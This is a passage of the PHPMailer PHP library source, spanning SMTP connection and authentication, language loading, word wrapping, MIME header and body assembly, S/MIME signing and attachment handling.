$this->smtp->setVerp($this->do_verp);\n        $hosts = explode(';', $this->Host);\n        $lastexception = null;\n\n        foreach ($hosts as $hostentry) {\n            $hostinfo = array();\n            if (!preg_match(\n                '\/^((ssl|tls):\\\/\\\/)*([a-zA-Z0-9\\.-]*|\\[[a-fA-F0-9:]+\\]):?([0-9]*)$\/',\n                trim($hostentry),\n                $hostinfo\n            )) {\n                \/\/ Not a valid host entry\n                $this->edebug('Ignoring invalid host: ' . $hostentry);\n                continue;\n            }\n            \/\/ $hostinfo[2]: optional ssl or tls prefix\n            \/\/ $hostinfo[3]: the hostname\n            \/\/ $hostinfo[4]: optional port number\n            \/\/ The host string prefix can temporarily override the current setting for SMTPSecure\n            \/\/ If it's not specified, the default value is used\n            $prefix = '';\n            $secure = $this->SMTPSecure;\n            $tls = ($this->SMTPSecure == 'tls');\n            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {\n                $prefix = 'ssl:\/\/';\n                $tls = false; \/\/ Can't have SSL and TLS at the same time\n                $secure = 'ssl';\n            } elseif ($hostinfo[2] == 'tls') {\n                $tls = true;\n                \/\/ tls doesn't use a prefix\n                $secure = 'tls';\n            }\n            \/\/Do we need the OpenSSL extension?\n            $sslext = defined('OPENSSL_ALGO_SHA1');\n            if ('tls' === $secure or 'ssl' === $secure) {\n                \/\/Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled\n                if (!$sslext) {\n                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);\n                }\n            }\n            $host = $hostinfo[3];\n            $port = $this->Port;\n            $tport = (integer)$hostinfo[4];\n            if ($tport > 0 and $tport < 65536) {\n                $port = $tport;\n            }\n            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {\n                try {\n                    if ($this->Helo) {\n                        $hello = $this->Helo;\n                    } else {\n                        $hello = $this->serverHostname();\n                    }\n                    $this->smtp->hello($hello);\n                    \/\/Automatically enable TLS encryption if:\n                    \/\/ * it's not disabled\n                    \/\/ * we have openssl extension\n                    \/\/ * we are not already using SSL\n                    \/\/ * the server offers STARTTLS\n                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {\n                        $tls = true;\n                    }\n                    if ($tls) {\n                        if (!$this->smtp->startTLS()) {\n                            throw new phpmailerException($this->lang('connect_host'));\n                        }\n                        \/\/ We must resend EHLO after TLS negotiation\n                        $this->smtp->hello($hello);\n                    }\n                    if ($this->SMTPAuth) {\n                        if (!$this->smtp->authenticate(\n                            $this->Username,\n                            $this->Password,\n                            $this->AuthType,\n                            $this->Realm,\n                            $this->Workstation\n                        )\n                        ) {\n                            throw new phpmailerException($this->lang('authenticate'));\n                        }\n                    }\n                    return true;\n                } catch (phpmailerException $exc) {\n                    $lastexception = $exc;\n                    $this->edebug($exc->getMessage());\n                    \/\/ We must have connected, but then failed TLS or Auth, so close connection nicely\n                    $this->smtp->quit();\n                }\n            }\n        }\n        \/\/ If we get here, all connection attempts have failed, so close connection hard\n        $this->smtp->close();\n        \/\/ As we've caught all exceptions, just report whatever the last one was\n        if ($this->exceptions and !is_null($lastexception)) {\n            throw $lastexception;\n        }\n        return false;\n    }\n\n    \/**\n     * Close the active SMTP session if one exists.\n     * @return void\n     *\/\n    public function smtpClose()\n    {\n        if (is_a($this->smtp, 'SMTP')) {\n            if ($this->smtp->connected()) {\n                $this->smtp->quit();\n                $this->smtp->close();\n            }\n        }\n    }\n\n    \/**\n     * Set the language for error messages.\n     * Returns false if it cannot load the language file.\n     * The default language is English.\n     * @param string $langcode ISO 639-1 2-character language code (e.g. French is \"fr\")\n     * @param string $lang_path Path to the language file directory, with trailing separator (slash)\n     * @return boolean\n     * @access public\n     *\/\n    public function setLanguage($langcode = 'en', $lang_path = '')\n    {\n        \/\/ Backwards compatibility for renamed language codes\n        $renamed_langcodes = array(\n            'br' => 'pt_br',\n            'cz' => 'cs',\n            'dk' => 'da',\n            'no' => 'nb',\n            'se' => 'sv',\n            'sr' => 'rs'\n        );\n\n        if (isset($renamed_langcodes[$langcode])) {\n            $langcode = $renamed_langcodes[$langcode];\n        }\n\n        \/\/ Define full set of translatable strings in English\n        $PHPMAILER_LANG = array(\n            'authenticate' => 'SMTP Error: Could not authenticate.',\n            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',\n            'data_not_accepted' => 'SMTP Error: data not accepted.',\n            'empty_message' => 'Message body empty',\n            'encoding' => 'Unknown encoding: ',\n            'execute' => 'Could not execute: ',\n            'file_access' => 'Could not access file: ',\n            'file_open' => 'File Error: Could not open file: ',\n            'from_failed' => 'The following From address failed: ',\n            'instantiate' => 'Could not instantiate mail function.',\n            'invalid_address' => 'Invalid address: ',\n            'mailer_not_supported' => ' mailer is not supported.',\n            'provide_address' => 'You must provide at least one recipient email address.',\n            'recipients_failed' => 'SMTP Error: The following recipients failed: ',\n            'signing' => 'Signing Error: ',\n            'smtp_connect_failed' => 'SMTP connect() failed.',\n            'smtp_error' => 'SMTP server error: ',\n            'variable_set' => 'Cannot set or reset variable: ',\n            'extension_missing' => 'Extension missing: '\n        );\n        if (empty($lang_path)) {\n            \/\/ Calculate an absolute path so it can work if CWD is not here\n            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;\n        }\n        \/\/Validate $langcode\n        if (!preg_match('\/^[a-z]{2}(?:_[a-zA-Z]{2})?$\/', $langcode)) {\n            $langcode = 'en';\n        }\n        $foundlang = true;\n        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';\n        \/\/ There is no English translation file\n        if ($langcode != 'en') {\n            \/\/ Make sure language file path is readable\n            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {\n                $foundlang = false;\n            } else {\n                \/\/ Overwrite language-specific strings.\n                \/\/ This way we'll never have missing translation keys.\n                $foundlang = include $lang_file;\n            }\n        }\n        $this->language = $PHPMAILER_LANG;\n        return (boolean)$foundlang; \/\/ Returns false if language not found\n    }\n\n    \/**\n     * Get the array of strings for the current language.\n     * @return array\n     *\/\n    public function getTranslations()\n    {\n        return $this->language;\n    }\n\n    \/**\n     * Create recipient headers.\n     * @access public\n     * @param string $type\n     * @param array $addr An array of recipient,\n     * where each recipient is a 2-element indexed array with element 0 containing an address\n     * and element 1 containing a name, like:\n     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))\n     * @return string\n     *\/\n    public function addrAppend($type, $addr)\n    {\n        $addresses = array();\n        foreach ($addr as $address) {\n            $addresses[] = $this->addrFormat($address);\n        }\n        return $type . ': ' . implode(', ', $addresses) . $this->LE;\n    }\n\n    \/**\n     * Format an address for use in a message header.\n     * @access public\n     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name\n     *      like array('joe@example.com', 'Joe User')\n     * @return string\n     *\/\n    public function addrFormat($addr)\n    {\n        if (empty($addr[1])) { \/\/ No name provided\n            return $this->secureHeader($addr[0]);\n        } else {\n            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(\n                $addr[0]\n            ) . '>';\n        }\n    }\n\n    \/**\n     * Word-wrap message.\n     * For use with mailers that do not automatically perform wrapping\n     * and for quoted-printable encoded messages.\n     * Original written by philippe.\n     * @param string $message The message to wrap\n     * @param integer $length The line length to wrap to\n     * @param boolean $qp_mode Whether to run in Quoted-Printable mode\n     * @access public\n     * @return string\n     *\/\n    public function wrapText($message, $length, $qp_mode = false)\n    {\n        if ($qp_mode) {\n            $soft_break = sprintf(' =%s', $this->LE);\n        } else {\n            $soft_break = $this->LE;\n        }\n        \/\/ If utf-8 encoding is used, we will need to make sure we don't\n        \/\/ split multibyte characters when we wrap\n        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');\n        $lelen = strlen($this->LE);\n        $crlflen = strlen(self::CRLF);\n\n        $message = $this->fixEOL($message);\n        \/\/Remove a trailing line break\n        if (substr($message, -$lelen) == $this->LE) {\n            $message = substr($message, 0, -$lelen);\n        }\n\n        \/\/Split message into lines\n        $lines = explode($this->LE, $message);\n        \/\/Message will be rebuilt in here\n        $message = '';\n        foreach ($lines as $line) {\n            $words = explode(' ', $line);\n            $buf = '';\n            $firstword = true;\n            foreach ($words as $word) {\n                if ($qp_mode and (strlen($word) > $length)) {\n                    $space_left = $length - strlen($buf) - $crlflen;\n                    if (!$firstword) {\n                        if ($space_left > 20) {\n                            $len = $space_left;\n                            if ($is_utf8) {\n                                $len = $this->utf8CharBoundary($word, $len);\n                            } elseif (substr($word, $len - 1, 1) == '=') {\n                                $len--;\n                            } elseif (substr($word, $len - 2, 1) == '=') {\n                                $len -= 2;\n                            }\n                            $part = substr($word, 0, $len);\n                            $word = substr($word, $len);\n                            $buf .= ' ' . $part;\n                            $message .= $buf . sprintf('=%s', self::CRLF);\n                        } else {\n                            $message .= $buf . $soft_break;\n                        }\n                        $buf = '';\n                    }\n                    while (strlen($word) > 0) {\n                        if ($length <= 0) {\n                            break;\n                        }\n                        $len = $length;\n                        if ($is_utf8) {\n                            $len = $this->utf8CharBoundary($word, $len);\n                        } elseif (substr($word, $len - 1, 1) == '=') {\n                            $len--;\n                        } elseif (substr($word, $len - 2, 1) == '=') {\n                            $len -= 2;\n                        }\n                        $part = substr($word, 0, $len);\n                        $word = substr($word, $len);\n\n                        if (strlen($word) > 0) {\n                            $message .= $part . sprintf('=%s', self::CRLF);\n                        } else {\n                            $buf = $part;\n                        }\n                    }\n                } else {\n                    $buf_o = $buf;\n                    if (!$firstword) {\n                        $buf .= ' ';\n                    }\n                    $buf .= $word;\n\n                    if (strlen($buf) > $length and $buf_o != '') {\n                        $message .= $buf_o . $soft_break;\n                        $buf = $word;\n                    }\n                }\n                $firstword = false;\n            }\n            $message .= $buf . self::CRLF;\n        }\n\n        return $message;\n    }\n\n    \/**\n     * Find the last character boundary prior to $maxLength in a utf-8\n     * quoted-printable encoded string.\n     * Original written by Colin Brown.\n     * @access public\n     * @param string $encodedText utf-8 QP text\n     * @param integer $maxLength Find the last character boundary prior to this length\n     * @return integer\n     *\/\n    public function utf8CharBoundary($encodedText, $maxLength)\n    {\n        $foundSplitPos = false;\n        $lookBack = 3;\n        while (!$foundSplitPos) {\n            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);\n            $encodedCharPos = strpos($lastChunk, '=');\n            if (false !== $encodedCharPos) {\n                \/\/ Found start of encoded character byte within $lookBack block.\n                \/\/ Check the encoded byte value (the 2 chars after the '=')\n                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);\n                $dec = hexdec($hex);\n                if ($dec < 128) {\n                    \/\/ Single byte character.\n                    \/\/ If the encoded char was found at pos 0, it will fit\n                    \/\/ otherwise reduce maxLength to start of the encoded char\n                    if ($encodedCharPos > 0) {\n                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);\n                    }\n                    $foundSplitPos = true;\n                } elseif ($dec >= 192) {\n                    \/\/ First byte of a multi byte character\n                    \/\/ Reduce maxLength to split at start of character\n                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);\n                    $foundSplitPos = true;\n                } elseif ($dec < 192) {\n                    \/\/ Middle byte of a multi byte character, look further back\n                    $lookBack += 3;\n                }\n            } else {\n                \/\/ No encoded character found\n                $foundSplitPos = true;\n            }\n        }\n        return $maxLength;\n    }\n\n    \/**\n     * Apply word wrapping to the message body.\n     * Wraps the message body to the number of chars set in the WordWrap property.\n     * You should only do this to plain-text bodies as wrapping HTML tags may break them.\n     * This is called automatically by createBody(), so you don't need to call it yourself.\n     * @access public\n     * @return void\n     *\/\n    public function setWordWrap()\n    {\n        if ($this->WordWrap < 1) {\n            return;\n        }\n\n        switch ($this->message_type) {\n            case 'alt':\n            case 'alt_inline':\n            case 'alt_attach':\n            case 'alt_inline_attach':\n                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);\n                break;\n            default:\n                $this->Body = $this->wrapText($this->Body, $this->WordWrap);\n                break;\n        }\n    }\n\n    \/**\n     * Assemble message headers.\n     * @access public\n     * @return string The assembled headers\n     *\/\n    public function createHeader()\n    {\n        $result = '';\n\n        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);\n\n        \/\/ To be created automatically by mail()\n        if ($this->SingleTo) {\n            if ($this->Mailer != 'mail') {\n                foreach ($this->to as $toaddr) {\n                    $this->SingleToArray[] = $this->addrFormat($toaddr);\n                }\n            }\n        } else {\n            if (count($this->to) > 0) {\n                if ($this->Mailer != 'mail') {\n                    $result .= $this->addrAppend('To', $this->to);\n                }\n            } elseif (count($this->cc) == 0) {\n                $result .= $this->headerLine('To', 'undisclosed-recipients:;');\n            }\n        }\n\n        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));\n\n        \/\/ sendmail and mail() extract Cc from the header before sending\n        if (count($this->cc) > 0) {\n            $result .= $this->addrAppend('Cc', $this->cc);\n        }\n\n        \/\/ sendmail and mail() extract Bcc from the header before sending\n        if ((\n                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'\n            )\n            and count($this->bcc) > 0\n        ) {\n            $result .= $this->addrAppend('Bcc', $this->bcc);\n        }\n\n        if (count($this->ReplyTo) > 0) {\n            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);\n        }\n\n        \/\/ mail() sets the subject itself\n        if ($this->Mailer != 'mail') {\n            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));\n        }\n\n        \/\/ Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4\n        \/\/ https:\/\/tools.ietf.org\/html\/rfc5322#section-3.6.4\n        if ('' != $this->MessageID and preg_match('\/^<.*@.*>$\/', $this->MessageID)) {\n            $this->lastMessageID = $this->MessageID;\n        } else {\n            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());\n        }\n        $result .= $this->headerLine('Message-ID', $this->lastMessageID);\n        if (!is_null($this->Priority)) {\n            $result .= $this->headerLine('X-Priority', $this->Priority);\n        }\n        if ($this->XMailer == '') {\n            $result .= $this->headerLine(\n                'X-Mailer',\n                'PHPMailer ' . $this->Version . ' (https:\/\/github.com\/PHPMailer\/PHPMailer)'\n            );\n        } else {\n            $myXmailer = trim($this->XMailer);\n            if ($myXmailer) {\n                $result .= $this->headerLine('X-Mailer', $myXmailer);\n            }\n        }\n\n        if ($this->ConfirmReadingTo != '') {\n            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');\n        }\n\n        \/\/ Add custom headers\n        foreach ($this->CustomHeader as $header) {\n            $result .= $this->headerLine(\n                trim($header[0]),\n                $this->encodeHeader(trim($header[1]))\n            );\n        }\n        if (!$this->sign_key_file) {\n            $result .= $this->headerLine('MIME-Version', '1.0');\n            $result .= $this->getMailMIME();\n        }\n\n        return $result;\n    }\n\n    \/**\n     * Get the message MIME type headers.\n     * @access public\n     * @return string\n     *\/\n    public function getMailMIME()\n    {\n        $result = '';\n        $ismultipart = true;\n        switch ($this->message_type) {\n            case 'inline':\n                $result .= $this->headerLine('Content-Type', 'multipart\/related;');\n                $result .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[1] . '\"');\n                break;\n            case 'attach':\n            case 'inline_attach':\n            case 'alt_attach':\n            case 'alt_inline_attach':\n                $result .= $this->headerLine('Content-Type', 'multipart\/mixed;');\n                $result .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[1] . '\"');\n                break;\n            case 'alt':\n            case 'alt_inline':\n                $result .= $this->headerLine('Content-Type', 'multipart\/alternative;');\n                $result .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[1] . '\"');\n                break;\n            default:\n                \/\/ Catches case 'plain': and case '':\n                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);\n                $ismultipart = false;\n                break;\n        }\n        \/\/ RFC1341 part 5 says 7bit is assumed if not specified\n        if ($this->Encoding != '7bit') {\n            \/\/ RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE\n            if ($ismultipart) {\n                if ($this->Encoding == '8bit') {\n                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');\n                }\n                \/\/ The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible\n            } else {\n                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);\n            }\n        }\n\n        if ($this->Mailer != 'mail') {\n            $result .= $this->LE;\n        }\n\n        return $result;\n    }\n\n    \/**\n     * Returns the whole MIME message.\n     * Includes complete headers and body.\n     * Only valid post preSend().\n     * @see PHPMailer::preSend()\n     * @access public\n     * @return string\n     *\/\n    public function getSentMIMEMessage()\n    {\n        return rtrim($this->MIMEHeader . $this->mailHeader, \"\\n\\r\") . self::CRLF . self::CRLF . $this->MIMEBody;\n    }\n\n    \/**\n     * Create unique ID\n     * @return string\n     *\/\n    protected function generateId() {\n        return md5(uniqid(time()));\n    }\n\n    \/**\n     * Assemble the message body.\n     * Returns an empty string on failure.\n     * @access public\n     * @throws phpmailerException\n     * @return string The assembled message body\n     *\/\n    public function createBody()\n    {\n        $body = '';\n        \/\/Create unique IDs and preset boundaries\n        $this->uniqueid = $this->generateId();\n        $this->boundary[1] = 'b1_' . $this->uniqueid;\n        $this->boundary[2] = 'b2_' . $this->uniqueid;\n        $this->boundary[3] = 'b3_' . $this->uniqueid;\n\n        if ($this->sign_key_file) {\n            $body .= $this->getMailMIME() . $this->LE;\n        }\n\n        $this->setWordWrap();\n\n        $bodyEncoding = $this->Encoding;\n        $bodyCharSet = $this->CharSet;\n        \/\/Can we do a 7-bit downgrade?\n        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {\n            $bodyEncoding = '7bit';\n            \/\/All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit\n            $bodyCharSet = 'us-ascii';\n        }\n        \/\/If lines are too long, and we're not already using an encoding that will shorten them,\n        \/\/change to quoted-printable transfer encoding for the body part only\n        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {\n            $bodyEncoding = 'quoted-printable';\n        }\n\n        $altBodyEncoding = $this->Encoding;\n        $altBodyCharSet = $this->CharSet;\n        \/\/Can we do a 7-bit downgrade?\n        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {\n            $altBodyEncoding = '7bit';\n            \/\/All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit\n            $altBodyCharSet = 'us-ascii';\n        }\n        \/\/If lines are too long, and we're not already using an encoding that will shorten them,\n        \/\/change to quoted-printable transfer encoding for the alt body part only\n        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {\n            $altBodyEncoding = 'quoted-printable';\n        }\n        \/\/Use this as a preamble in all multipart message types\n        $mimepre = \"This is a multi-part message in MIME format.\" . $this->LE . $this->LE;\n        switch ($this->message_type) {\n            case 'inline':\n                $body .= $mimepre;\n                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);\n                $body .= $this->encodeString($this->Body, $bodyEncoding);\n                $body .= $this->LE . $this->LE;\n                $body .= $this->attachAll('inline', $this->boundary[1]);\n                break;\n            case 'attach':\n                $body .= $mimepre;\n                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);\n                $body .= $this->encodeString($this->Body, $bodyEncoding);\n                $body .= $this->LE . $this->LE;\n                $body .= $this->attachAll('attachment', $this->boundary[1]);\n                break;\n            case 'inline_attach':\n                $body .= $mimepre;\n                $body .= $this->textLine('--' . $this->boundary[1]);\n                $body .= $this->headerLine('Content-Type', 'multipart\/related;');\n                $body .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[2] . '\"');\n                $body .= $this->LE;\n                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);\n                $body .= $this->encodeString($this->Body, $bodyEncoding);\n                $body .= $this->LE . $this->LE;\n                $body .= $this->attachAll('inline', $this->boundary[2]);\n                $body .= $this->LE;\n                $body .= $this->attachAll('attachment', $this->boundary[1]);\n                break;\n            case 'alt':\n                $body .= $mimepre;\n                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text\/plain', $altBodyEncoding);\n                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);\n                $body .= $this->LE . $this->LE;\n                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text\/html', $bodyEncoding);\n                $body .= $this->encodeString($this->Body, $bodyEncoding);\n                $body .= $this->LE . $this->LE;\n                if (!empty($this->Ical)) {\n                    $body .= $this->getBoundary($this->boundary[1], '', 'text\/calendar; method=REQUEST', '');\n                    $body .= $this->encodeString($this->Ical, $this->Encoding);\n                    $body .= $this->LE . $this->LE;\n                }\n                $body .= $this->endBoundary($this->boundary[1]);\n                break;\n            case 'alt_inline':\n                $body .= $mimepre;\n                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text\/plain', $altBodyEncoding);\n                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);\n                $body .= $this->LE . $this->LE;\n                $body .= $this->textLine('--' . $this->boundary[1]);\n                $body .= $this->headerLine('Content-Type', 'multipart\/related;');\n                $body .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[2] . '\"');\n                $body .= $this->LE;\n                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text\/html', $bodyEncoding);\n                $body .= $this->encodeString($this->Body, $bodyEncoding);\n                $body .= $this->LE . $this->LE;\n                $body .= $this->attachAll('inline', $this->boundary[2]);\n                $body .= $this->LE;\n                $body .= $this->endBoundary($this->boundary[1]);\n                break;\n            case 'alt_attach':\n                $body .= $mimepre;\n                $body .= $this->textLine('--' . $this->boundary[1]);\n                $body .= $this->headerLine('Content-Type', 'multipart\/alternative;');\n                $body .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[2] . '\"');\n                $body .= $this->LE;\n                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text\/plain', $altBodyEncoding);\n                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);\n                $body .= $this->LE . $this->LE;\n                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text\/html', $bodyEncoding);\n                $body .= $this->encodeString($this->Body, $bodyEncoding);\n                $body .= $this->LE . $this->LE;\n                $body .= $this->endBoundary($this->boundary[2]);\n                $body .= $this->LE;\n                $body .= $this->attachAll('attachment', $this->boundary[1]);\n                break;\n            case 'alt_inline_attach':\n                $body .= $mimepre;\n                $body .= $this->textLine('--' . $this->boundary[1]);\n                $body .= $this->headerLine('Content-Type', 'multipart\/alternative;');\n                $body .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[2] . '\"');\n                $body .= $this->LE;\n                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text\/plain', $altBodyEncoding);\n                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);\n                $body .= $this->LE . $this->LE;\n                $body .= $this->textLine('--' . $this->boundary[2]);\n                $body .= $this->headerLine('Content-Type', 'multipart\/related;');\n                $body .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[3] . '\"');\n                $body .= $this->LE;\n                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text\/html', $bodyEncoding);\n                $body .= $this->encodeString($this->Body, $bodyEncoding);\n                $body .= $this->LE . $this->LE;\n                $body .= $this->attachAll('inline', $this->boundary[3]);\n                $body .= $this->LE;\n                $body .= $this->endBoundary($this->boundary[2]);\n                $body .= $this->LE;\n                $body .= $this->attachAll('attachment', $this->boundary[1]);\n                break;\n            default:\n                \/\/ Catch case 'plain' and case '', applies to simple `text\/plain` and `text\/html` body content types\n                \/\/Reset the `Encoding` property in case we changed it for line length reasons\n                $this->Encoding = $bodyEncoding;\n                $body .= $this->encodeString($this->Body, $this->Encoding);\n                break;\n        }\n\n        if ($this->isError()) {\n            $body = '';\n        } elseif ($this->sign_key_file) {\n            try {\n                if (!defined('PKCS7_TEXT')) {\n                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');\n                }\n                \/\/ @TODO would be nice to use php:\/\/temp streams here, but need to wrap for PHP < 5.1\n                $file = tempnam(sys_get_temp_dir(), 'mail');\n                if (false === file_put_contents($file, $body)) {\n                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');\n                }\n                $signed = tempnam(sys_get_temp_dir(), 'signed');\n                \/\/Workaround for PHP bug https:\/\/bugs.php.net\/bug.php?id=69197\n                if (empty($this->sign_extracerts_file)) {\n                    $sign = @openssl_pkcs7_sign(\n                        $file,\n                        $signed,\n                        'file:\/\/' . realpath($this->sign_cert_file),\n                        array('file:\/\/' . realpath($this->sign_key_file), $this->sign_key_pass),\n                        null\n                    );\n                } else {\n                    $sign = @openssl_pkcs7_sign(\n                        $file,\n                        $signed,\n                        'file:\/\/' . realpath($this->sign_cert_file),\n                        array('file:\/\/' . realpath($this->sign_key_file), $this->sign_key_pass),\n                        null,\n                        PKCS7_DETACHED,\n                        $this->sign_extracerts_file\n                    );\n                }\n                if ($sign) {\n                    @unlink($file);\n                    $body = file_get_contents($signed);\n                    @unlink($signed);\n                    \/\/The message returned by openssl contains both headers and body, so need to split them up\n                    $parts = explode(\"\\n\\n\", $body, 2);\n                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;\n                    $body = $parts[1];\n                } else {\n                    @unlink($file);\n                    @unlink($signed);\n                    throw new phpmailerException($this->lang('signing') . openssl_error_string());\n                }\n            } catch (phpmailerException $exc) {\n                $body = '';\n                if ($this->exceptions) {\n                    throw $exc;\n                }\n            }\n        }\n        return $body;\n    }\n\n    \/**\n     * Return the start of a message boundary.\n     * @access protected\n     * @param string $boundary\n     * @param string $charSet\n     * @param string $contentType\n     * @param string $encoding\n     * @return string\n     *\/\n    protected function getBoundary($boundary, $charSet, $contentType, $encoding)\n    {\n        $result = '';\n        if ($charSet == '') {\n            $charSet = $this->CharSet;\n        }\n        if ($contentType == '') {\n            $contentType = $this->ContentType;\n        }\n        if ($encoding == '') {\n            $encoding = $this->Encoding;\n        }\n        $result .= $this->textLine('--' . $boundary);\n        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);\n        $result .= $this->LE;\n        \/\/ RFC1341 part 5 says 7bit is assumed if not specified\n        if ($encoding != '7bit') {\n            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);\n        }\n        $result .= $this->LE;\n\n        return $result;\n    }\n\n    \/**\n     * Return the end of a message boundary.\n     * @access protected\n     * @param string $boundary\n     * @return string\n     *\/\n    protected function endBoundary($boundary)\n    {\n        return $this->LE . '--' . $boundary . '--' . $this->LE;\n    }\n\n    \/**\n     * Set the message type.\n     * PHPMailer only supports some preset message types, not arbitrary MIME structures.\n     * @access protected\n     * @return void\n     *\/\n    protected function setMessageType()\n    {\n        $type = array();\n        if ($this->alternativeExists()) {\n            $type[] = 'alt';\n        }\n        if ($this->inlineImageExists()) {\n            $type[] = 'inline';\n        }\n        if ($this->attachmentExists()) {\n            $type[] = 'attach';\n        }\n        $this->message_type = implode('_', $type);\n        if ($this->message_type == '') {\n            \/\/The 'plain' message_type refers to the message having a single body element, not that it is plain-text\n            $this->message_type = 'plain';\n        }\n    }\n\n    \/**\n     * Format a header line.\n     * @access public\n     * @param string $name\n     * @param string $value\n     * @return string\n     *\/\n    public function headerLine($name, $value)\n    {\n        return $name . ': ' . $value . $this->LE;\n    }\n\n    \/**\n     * Return a formatted mail line.\n     * @access public\n     * @param string $value\n     * @return string\n     *\/\n    public function textLine($value)\n    {\n        return $value . $this->LE;\n    }\n\n    \/**\n     * Add an attachment from a path on the filesystem.\n     * Never use a user-supplied path to a file!\n     * Returns false if the file could not be found or read.\n     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.\n     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.\n     * @param string $path Path to the attachment.\n     * @param string $name Overrides the attachment name.\n     * @param string $encoding File encoding (see $Encoding).\n     * @param string $type File extension (MIME) type.\n     * @param string $disposition Disposition to use\n     * @throws phpmailerException\n     * @return boolean\n     *\/\n    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')\n    {\n        try {\n            if (!self::isPermittedPath($path) or !@is_file($path)) {\n                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);\n            }\n\n            \/\/ If a MIME type is not specified, try to work it out from the file name\n            if ($type == '') {\n                $type = self::filenameToType($path);\n            }\n\n            $filename = basename($path);\n            if ($name == '') {\n                $name = $filename;\n            }\n\n            $this->attachment[] = array(\n                0 => $path,\n                1 => $filename,\n                2 => $name,\n                3 => $encoding,\n                4 => $type,\n                5 => false, \/\/ isStringAttachment\n                6 => $disposition,\n                7 => 0\n            );\n\n        } catch (phpmailerException $exc) {\n            $this->setError($exc->getMessage());\n            $this->edebug($exc->getMessage());\n            if ($this->exceptions) {\n                throw $exc;\n            }\n            return false;\n        }\n        return true;\n    }\n\n    \/**\n     * Return the array of attachments.\n     * @return array\n     *\/\n    public function getAttachments()\n    {\n        return $this->attachment;\n    }\n\n    \/**\n     * Attach all file, string, and binary attachments to the message.\n     * Returns an empty string on failure.\n     * @access protected\n     * @param string $disposition_type\n     * @param string $boundary\n     * @return string\n     *\/\n    protected function attachAll($disposition_type, $boundary)\n    {\n        \/\/ Return text of body\n        $mime = array();\n        $cidUniq = array();\n        $incl = array();\n\n        \/\/ Add all attachments\n        foreach ($this->attachment as $attachment) {\n            \/\/ Check if it is a valid disposition_filter\n            if ($attachment[6] == $disposition_type) {\n                \/\/ Check for string attachment\n                $string = '';\n                $path = '';\n                $bString = $attachment[5];\n                if 